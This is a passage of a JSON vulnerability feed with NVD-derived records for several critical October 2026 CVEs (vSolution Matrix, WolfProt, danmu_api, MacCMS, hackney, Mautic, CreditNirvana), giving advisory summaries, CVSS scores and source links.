fixes.","publishedAt":"2026-10-26T15:16:41.627Z","updatedAt":"2026-10-26T17:17:28.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65184","asOf":"2026-10-26T17:17:28.620Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65184","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65184","type":"primary","publishedAt":"2026-10-26T15:16:41.627Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59107","cveId":"CVE-2026-59107","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been identified in the vSolution Matrix file sharing feature. A shared cryptographic trust configuration could allow an attacker who obtains the...","summary":"A security vulnerability has been identified in the vSolution Matrix file sharing feature. A shared cryptographic trust configuration could allow an attacker who obtains the matching private key to authenticate to an affected device via SSH as root. This vulnerability affects only devices configured as a vSolution Matrix main/master station with the file sharing feature enabled.","detail":"A security vulnerability has been identified in the vSolution Matrix file sharing feature. A shared cryptographic trust configuration could allow an attacker who obtains the matching private key to authenticate to an affected device via SSH as root. This vulnerability affects only devices configured as a vSolution Matrix main/master station with the file sharing feature enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:38.973Z","updatedAt":"2026-10-26T16:58:40.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59107","asOf":"2026-10-26T16:58:40.880Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-59107","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59107","type":"primary","publishedAt":"2026-10-26T14:16:38.973Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59106","cveId":"CVE-2026-59106","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been identified in the WolfProt interface implementation. Insufficient neutralization of user-controlled input could allow an unauthenticated attacker...","summary":"A security vulnerability has been identified in the WolfProt interface implementation. Insufficient neutralization of user-controlled input could allow an unauthenticated attacker with network access to a vulnerable service to execute operating-system commands with the privileges of the affected application service.","detail":"A security vulnerability has been identified in the WolfProt interface implementation. Insufficient neutralization of user-controlled input could allow an unauthenticated attacker with network access to a vulnerable service to execute operating-system commands with the privileges of the affected application service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:38.813Z","updatedAt":"2026-10-26T16:58:40.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59106","asOf":"2026-10-26T16:58:40.880Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-59106","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59106","type":"primary","publishedAt":"2026-10-26T14:16:38.813Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116485","cveId":"CVE-2026-116485","aliases":[],"kind":"vulnerability","title":"danmu_api before 1.21.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to modify server environment configuration when the default TOKEN is...","summary":"danmu_api before 1.21.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to modify server environment configuration when the default TOKEN is used and ADMIN_TOKEN is unset. Attackers can send POST requests to /api/env/set, /api/env/add, or /api/env/del to set ADMIN_TOKEN, lock out operators, redirect OTHER_SERVER or PROXY_URL for SSRF, and trigger redeployment.","detail":"danmu_api before 1.21.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to modify server environment configuration when the default TOKEN is used and ADMIN_TOKEN is unset. Attackers can send POST requests to /api/env/set, /api/env/add, or /api/env/del to set ADMIN_TOKEN, lock out operators, redirect OTHER_SERVER or PROXY_URL for SSRF, and trigger redeployment.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:37.040Z","updatedAt":"2026-10-26T14:16:37.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116485","asOf":"2026-10-26T14:16:37.040Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116485","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116485","type":"primary","publishedAt":"2026-10-26T14:16:37.040Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116214","cveId":"CVE-2026-116214","aliases":[],"kind":"vulnerability","title":"MacCMS v10 before 2026.1000.4054 contains an authentication bypass vulnerability that allows unauthenticated attackers to reset any member's password because check_msg() never...","summary":"MacCMS v10 before 2026.1000.4054 contains an authentication bypass vulnerability that allows unauthenticated attackers to reset any member's password because check_msg() never compares msg_to. Attackers can request a recovery code to their own mailbox via user/findpass_msg, then submit it to user/findpass_reset with the victim's email or phone to take over the account.","detail":"MacCMS v10 before 2026.1000.4054 contains an authentication bypass vulnerability that allows unauthenticated attackers to reset any member's password because check_msg() never compares msg_to. Attackers can request a recovery code to their own mailbox via user/findpass_msg, then submit it to user/findpass_reset with the victim's email or phone to take over the account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:34.173Z","updatedAt":"2026-10-26T17:01:22.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116214","asOf":"2026-10-26T17:01:22.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116214","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116214","type":"primary","publishedAt":"2026-10-26T14:16:34.173Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115693","cveId":"CVE-2026-115693","aliases":[],"kind":"vulnerability","title":"Improper Certificate Validation vulnerability in hackney_ssl in benoitc hackney allows an on-path attacker to impersonate a server pinned to a private certificate authority via a...","summary":"Improper Certificate Validation vulnerability in hackney_ssl in benoitc hackney allows an on-path attacker to impersonate a server pinned to a private certificate authority via a certificate chain that ends in a publicly trusted root. hackney adds {partial_chain, fun hackney_ssl:partial_chain/1} to every verify_peer configuration. The callback returns any certificate in the peer chain whose public key matches a root in the bundled certifi store as the trust anchor, and OTP honours that callback over the configured cacerts. hackney_ssl:merge_ssl_opts/3 kept the callback when the caller replaced the trust store with cacerts or cacertfile in ssl_options, so a connection pinned to a private CA still accepted any chain that carried a publicly trusted root.\n\nThe hostname check still applies, so the attacker needs a publicly trusted certificate for the pinned hostname.\n\nThis issue affects hackney: from 1.24.0 before 4.9.0.","detail":"Improper Certificate Validation vulnerability in hackney_ssl in benoitc hackney allows an on-path attacker to impersonate a server pinned to a private certificate authority via a certificate chain that ends in a publicly trusted root. hackney adds {partial_chain, fun hackney_ssl:partial_chain/1} to every verify_peer configuration. The callback returns any certificate in the peer chain whose public key matches a root in the bundled certifi store as the trust anchor, and OTP honours that callback over the configured cacerts. hackney_ssl:merge_ssl_opts/3 kept the callback when the caller replaced the trust store with cacerts or cacertfile in ssl_options, so a connection pinned to a private CA still accepted any chain that carried a publicly trusted root.\n\nThe hostname check still applies, so the attacker needs a publicly trusted certificate for the pinned hostname.\n\nThis issue affects hackney: from 1.24.0 before 4.9.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:31.853Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115693","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115693","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115693","type":"primary","publishedAt":"2026-10-26T14:16:31.853Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115188","cveId":"CVE-2026-115188","aliases":[],"kind":"vulnerability","title":"An unrestricted file upload vulnerability exists in the campaign import feature of Mautic 7.","summary":"An unrestricted file upload vulnerability exists in the campaign import feature of Mautic 7. When processing an uploaded campaign archive, the application copies the bundled asset files into a publicly accessible media directory without restricting their file names or types. An authenticated user with permission to create campaign imports can exploit this through the user interface or the API (/api/campaigns/import) to place arbitrary files, including server-side scripts, in the web root. Administrator privileges are not required. On web servers that honor per-directory configuration, such as the default Apache setup of the official Mautic Docker image, this leads to remote code execution with the privileges of the web server user, including access to the Mautic configuration, application secrets, and contact data.","detail":"An unrestricted file upload vulnerability exists in the campaign import feature of Mautic 7. When processing an uploaded campaign archive, the application copies the bundled asset files into a publicly accessible media directory without restricting their file names or types. An authenticated user with permission to create campaign imports can exploit this through the user interface or the API (/api/campaigns/import) to place arbitrary files, including server-side scripts, in the web root. Administrator privileges are not required. On web servers that honor per-directory configuration, such as the default Apache setup of the official Mautic Docker image, this leads to remote code execution with the privileges of the web server user, including access to the Mautic configuration, application secrets, and contact data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:30.047Z","updatedAt":"2026-10-26T16:17:16.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115188","asOf":"2026-10-26T16:17:16.027Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115188","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115188","type":"primary","publishedAt":"2026-10-26T14:16:30.047Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110475","cveId":"CVE-2026-110475","aliases":[],"kind":"vulnerability","title":"This vulnerability exists in the CreditNirvana Collections Platform due to improper authentication and authorization controls at the platform login service.","summary":"This vulnerability exists in the CreditNirvana Collections Platform due to improper authentication and authorization controls at the platform login service. An unauthenticated remote attacker could exploit this vulnerability by manipulating authentication requests and accessing APIs without a valid authenticated session on the targeted system.\n\nSuccessful exploitation of this vulnerability could allow the attacker to enumerate platform users, establish sessions as arbitrary users including administrative users, access and modify sensitive information with the privileges of the impersonated user.","detail":"This vulnerability exists in the CreditNirvana Collections Platform due to improper authentication and authorization controls at the platform login service. An unauthenticated remote attacker could exploit this vulnerability by manipulating authentication requests and accessing APIs without a valid authenticated session on the targeted system.\n\nSuccessful exploitation of this vulnerability could allow the attacker to enumerate platform users, establish sessions as arbitrary users including administrative users, access and modify sensitive information with the privileges of the impersonated user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:26.573Z","updatedAt":"2026-10-26T14:21:33.887Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110475","asOf":"2026-10-26T14:21:33.887Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110475","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110475","type":"primary","publishedAt":"2026-10-26T14:16:26.573Z","checkedAt":"2026-10-26T15:50:56.370Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD 